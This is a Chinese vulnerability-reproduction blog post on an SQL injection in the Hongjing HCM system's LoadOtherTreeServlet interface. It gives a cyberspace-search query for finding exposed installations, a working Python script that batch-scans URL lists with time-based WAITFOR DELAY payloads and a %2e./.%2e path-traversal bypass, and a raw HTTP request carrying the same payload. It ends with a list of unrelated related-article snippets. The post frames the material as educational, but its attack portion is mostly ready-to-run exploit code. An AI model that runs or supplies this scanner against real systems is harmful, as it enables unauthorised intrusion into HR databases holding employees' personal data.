【漏洞復現】宏景HCM-LoadOtherTreeServlet SQL注入

?聲明:本文檔或演示材料僅用于教育和教學目的。如果任何個人或組織利用本文檔中的信息進行非法活動,將與本文檔的作者或發布者無關。

一、漏洞描述

宏景HCM人力資源信息管理系統是一個全面的人力資源管理軟件,它覆蓋了人力資源管理的各個模塊。該系統旨在幫助企事業單位建立高效的組織,促進組織的健康發展,并增強組織的軟實力。然而,該系統的LoadOtherTreeServlet接口存在安全問題,因為它沒有對傳入的數據進行預編譯和充分的驗證,這導致了SQL注入漏洞的存在。

二、資產收集

1.使用網絡空間測繪引擎搜索

鷹圖檢索:app.name="宏景 HCM"

2.使用poc批量掃描

import requests
import argparse
import time
from urllib3.exceptions import InsecureRequestWarningRED = '\033[91m'  # 定義紅色字體的ANSI轉義碼
RESET = '\033[0m'  # 定義重置顏色的ANSI轉義碼
# 忽略不安全請求的警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)def check_vulnerability(url):try:# 構造完整的攻擊URLattack_url = url.rstrip('/') + "/w_selfservice/oauthservlet/%2e./.%2e/gz/LoadOtherTreeServlet?modelflag=4&budget_id=1%29%3BWAITFOR+DELAY+%270%3A0%3A4%27--&flag=1"attack_payload = """usertable=h00&usernumber=1&i9999=-1';WAITFOR+DELAY+'0:0:6'--+"""headers = {'Content-Type': 'application/x-www-form-urlencoded'}start_time = time.time()  # 記錄開始時間response = requests.post(attack_url, headers=headers, data=attack_payload, verify=False, timeout=10)  # 發送POST請求elapsed_time = time.time() - start_time  # 計算請求耗時if 4 < elapsed_time < 6:  # 如果耗時在4到6秒之間,可能存在漏洞print(f"{RED}URL [{url}] 可能存在宏景HCM-LoadOtherTreeServlet-sql注入漏洞{RESET}")else:print(f"URL [{url}] 不存在漏洞")except requests.exceptions.Timeout:  # 捕獲超時異常print(f"URL [{url}] 請求超時,可能存在漏洞")except requests.RequestException as e:  # 捕獲其他請求異常print(f"URL [{url}] 請求失敗: {e}")def main():parser = argparse.ArgumentParser(description='檢測目標地址是否宏景HCM-LoadOtherTreeServlet-sql注入漏洞')parser.add_argument('-u', '--url', help='指定目標地址')parser.add_argument('-f', '--file', help='指定包含目標地址的文本文件')args = parser.parse_args()if args.url:  # 如果提供了單個URL參數if not args.url.startswith("http://") and not args.url.startswith("https://"):args.url = "http://" + args.urlcheck_vulnerability(args.url)elif args.file:  # 如果提供了包含多個URL的文件參數with open(args.file, 'r') as file:urls = file.read().splitlines()for url in urls:if not url.startswith("http://") and not url.startswith("https://"):url = "http://" + urlcheck_vulnerability(url)if __name__ == '__main__':main()

cmd運行:python poc.py -f url.txt

?隨機尋找的幸運兒

三、漏洞復現?

1.構造數據包


GET /w_selfservice/oauthservlet/%2e./.%2e/gz/LoadOtherTreeServlet?modelflag=4&budget_id=1%29%3BWAITFOR+DELAY+%270%3A0%3A4%27--&flag=1 HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close

2.數據包分析?

  1. 請求方法:GET
  2. 請求路徑:/w_selfservice/oauthservlet/%2e./.%2e/gz/LoadOtherTreeServlet?modelflag=4&budget_id=1%29%3BWAITFOR+DELAY+%270%3A0%3A4%27--&flag=1
  3. HTTP版本:HTTP/1.1
  4. Host頭:ip(目標服務器的IP地址)
  5. User-Agent頭:Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:125.0) Gecko/20100101 Firefox/125.0(表示客戶端使用的瀏覽器和操作系統信息)
  6. Accept頭:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8(表示客戶端接受的內容類型及其優先級)
  7. Accept-Language頭:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2(表示客戶端接受的語言及其優先級)
  8. Accept-Encoding頭:gzip, deflate, br(表示客戶端接受的編碼方式)
  9. Connection頭:close(表示請求完成后關閉連接)

/w_selfservice/oauthservlet/%2e./.%2e/gz/LoadOtherTreeServlet,在解碼后,URL路徑變為:/w_selfservice/oauthservlet/././gz/LoadOtherTreeServlet

請求還包含以下參數:

  • modelflag=4:可能是用于指定某種模式或配置的標志。
  • budget_id=1)WAITFOR+DELAY+'0:0:4'--&flag=1:其中budget_id的值被設置為1,后面跟著一段SQL語句(WAITFOR DELAY '0:0:4'),如果SQL語句被正常執行則延時4秒

3.結束跑路

執行成功,延時1秒。

執行成功,延時4秒。

每篇一言:風月折斷楊柳枝,琴瑟朝露揮擲成詩。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/44718.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/44718.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/44718.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

報錯:python擴展中的調試器不再支持小于3.7的python版本(debugpy)

報錯&#xff1a;python擴展中的調試器不再支持小于3.7的python版本 原因1&#xff1a; debugpy的版本問題原因2 原因1&#xff1a; debugpy的版本問題 是debugpy和你vscode安裝的python解釋器不匹配&#xff0c;根據你使用的python解釋器的版本重新安裝一個debugpy。 原因2 …

華為官方出品:《應用現代化實踐指南》電子書,可免費下載

本期云享書庫為各位開發者帶來了應用現代化方面的技術內容。 在數字化時代&#xff0c;企業面臨著前所未有的機遇與挑戰。隨著技術的飛速發展&#xff0c;特別是云計算、大數據、人工智能&#xff08;AI&#xff09;和機器學習&#xff08;ML&#xff09;的興起&#xff0c;正…

Python爬蟲速成之路(1):獲取網頁源代碼

hello hello~ &#xff0c;這里是絕命Coding——老白~&#x1f496;&#x1f496; &#xff0c;歡迎大家點贊&#x1f973;&#x1f973;關注&#x1f4a5;&#x1f4a5;收藏&#x1f339;&#x1f339;&#x1f339; &#x1f4a5;個人主頁&#xff1a;絕命Coding-CSDN博客 &a…

C#面:簡述什么是中間件(Middleware)?

中間件是組裝到應?程序管道中以處理請求和響應的軟件。 每個組件&#xff1a; 選擇是否將請求傳遞給管道中的下?個組件。 可以在調?管道中的下?個組件之前和之后執??作。 請求委托&#xff08;Request delegates&#xff09;?于構建請求管道&#xff0c;處理每個HTTP請…

Threadlocal使用獲取最后更新人信息

Threadlocal 的作用范圍是一個線程&#xff0c;tomcat啟動默認開啟一個線程 首先點擊登錄&#xff0c;登錄方法會返回token 拿到token后放在請求頭中發送商品的插入請求&#xff0c;在插入是設置拿到token中的nickName&#xff08;花名&#xff09;放入&#xff08;lastUpdate…

windows系統長時間不用,無法喚醒

問題背景 在我們使用windows系統的時候&#xff0c;有這樣一種情況&#xff0c;就是電腦長時間不不操作&#xff0c;就會“睡死”過去。此時再用鼠標鍵盤都無法將其喚醒。沒辦法只能長按電源鍵強制關機&#xff0c;再重啟。那么該如何解決這種問題呢&#xff1f; 原因分析 系…

PLSQL Day7

--9.用戶鍵盤輸入5個數字&#xff0c;將數字按從小到大的順序存入集合中&#xff1a;declare declare type num_type is table of number; n_tab num_type; temp_n number ; begin n_tab: num_type(&n1,&n2,&n3,&n4,&n5); for i in 1..n_tab.co…

高可用hadoop分布式節點的擴容

解決方案 修改hdfs-site.xml 文件 原xml文件 <?xml version"1.0" encoding"UTF-8"?> <?xml-stylesheet type"text/xsl" href"configuration.xsl"?> <!--Licensed under the Apache License, Version 2.0 (th…

編程參考 - 在C++類成員函數聲明中使用const關鍵字

在 C 中&#xff0c;可以在類成員函數聲明中使用 const 關鍵字來表示函數不修改對象的狀態。這就是所謂的 "const 成員函數"。將成員函數聲明為 const 時&#xff0c;意味著該函數承諾不更改對象的任何成員變量&#xff08;標記為可變的變量除外&#xff09;。 In C,…

福克斯波羅 FOXBORO FBM201模塊 控制器 處理器

福克斯波羅 FOXBORO FBM201 控制器具有緊湊和堅固的設計&#xff0c;使其非常適合在惡劣的工業環境中使用。它可以承受極端的溫度&#xff0c;濕度和振動&#xff0c;并且以最少的維護來實現持久的性能。 控制器配備了先進的控制算法&#xff0c;使其能夠快速準確地響應過程條…

Python: 從 2.7 升級到 3,我比 vue 慢了一點點

小破站搜索云前端&#xff0c;查看視頻版 2024 年 7 月 7 日&#xff0c;據一位長期的Python觀察者爆料&#xff0c;Fedora 41 系統最終將停止支持 Python 2.7。這是Python 2系列的最后一個版本&#xff0c;Python 2.7在Fedora Linux 41中將被退役且不再替代。除了PyPy之外&…

利用【Python】【線性規劃】優化工廠生產:實現智能資源配置與利潤最大化的現代解決方案

目錄 1. 問題背景和描述 1.1 問題背景 1.2 問題描述 2. 數學模型的建立 2.1決策變量 2.2 目標函數 2.3 約束條件 2.4 數學模型總結 3. 使用Python解決線性規劃問題 3.1 導入必要的庫 3.2 定義目標函數系數 3.3 定義不等式約束矩陣和向量 3.4 定義變量的邊界 非負…

淺談 Webpack5 模塊聯邦

概念 Webpack 模塊聯邦是一種先進的代碼共享技術&#xff0c;它允許在多個獨立構建的 Web 應用程序之間共享代碼&#xff0c;而無需將這些代碼提前發布到 npm 倉庫或其他中央存儲。 這項技術特別適用于微前端架構&#xff0c;因為它能讓各個前端團隊獨立開發、部署自己的應用…

政安晨:【Keras機器學習示例演繹】(五十二)—— 使用門控殘差和變量選擇網絡進行分類

目錄 簡介 數據集 安裝準備 數據準備 定義數據集元數據 創建用于訓練和評估的 tf.data.Dataset 創建模型輸入 對輸入特征進行編碼 實施門控線性單元 實施門控余留網絡 實施變量選擇網絡 創建門控殘差和變量選擇網絡模型 編譯、訓練和評估模型 政安晨的個人主頁&am…

OpenCV和PIL進行前景提取

摘要 在圖像處理和分析中&#xff0c;前景提取是一項關鍵技術&#xff0c;尤其是在計算機視覺和模式識別領域。本文介紹了一種結合OpenCV和PIL庫的方法&#xff0c;實現在批量處理圖像時有效提取前景并保留原始圖像的EXIF數據。具體步驟包括從指定文件夾中讀取圖像&#xff0c…

【鏈表】- 環形鏈表 II

1. 對應力扣題目連接 環形鏈表 II 2. 實現思路 a. 鏈表圖示&#xff1a; b. 檢測鏈表中是否存在環&#xff0c;即&#xff1a;會相交 思路&#xff1a; 使用 Floyd 的龜兔賽跑算法&#xff08;Floyd’s Tortoise and Hare algorithm&#xff09;&#xff0c;即快慢指針法&…

二分法求函數的零點 信友隊

題目ID&#xff1a;15713 必做題 100分 時間限制: 1000ms 空間限制: 65536kB 題目描述 有函數&#xff1a;f(x) 已知f(1.5) > 0&#xff0c;f(2.4) < 0 且方程 f(x) 0 在區間 [1.5,2.4] 有且只有一個根&#xff0c;請用二分法求出該根。 輸入格式 &#xff08;無…

Mysql查詢近半年每個月有多少天

Mysql 查詢近6個月每個月有多少天&#xff1a; SELECT DATE_FORMAT(DATE_ADD(NOW(),INTERVAL-(CAST( help_topic_id AS SIGNED INTEGER )) MONTH ), %Y-%m) as months,DAY(LAST_DAY(CONCAT(DATE_FORMAT(DATE_ADD(NOW(),INTERVAL-(CAST( help_topic_id AS SIGNED INTEGER )) MO…

【區塊鏈+跨境服務】跨境出口電商溯源 | FISCO BCOS應用案例

當前跨境出口電商已成為帶動我國外貿發展的中堅力量&#xff0c;尤其疫情特殊時期&#xff0c;成為推動經濟增長的一個重要組成 部分。但是跨境出口電商流程長、環節多&#xff0c;且需輾轉于不同的服務商以及國家之間&#xff0c;監管與定位也相對困難&#xff0c;容 易出現諸…

兩段序列幀動畫播放,在ios機型上出現閃屏

使用場景&#xff1a;兩段序列幀動畫連接播放&#xff0c;先播放第一段播一次&#xff0c;再播放第二段&#xff0c;第二段循環播放&#xff0c;在ios機型上出現動畫閃動&#xff0c;播放不正常。 錯誤的寫法&#xff1a;把每一段序列幀動畫單獨寫在了定義的動畫里 .gacha-bg…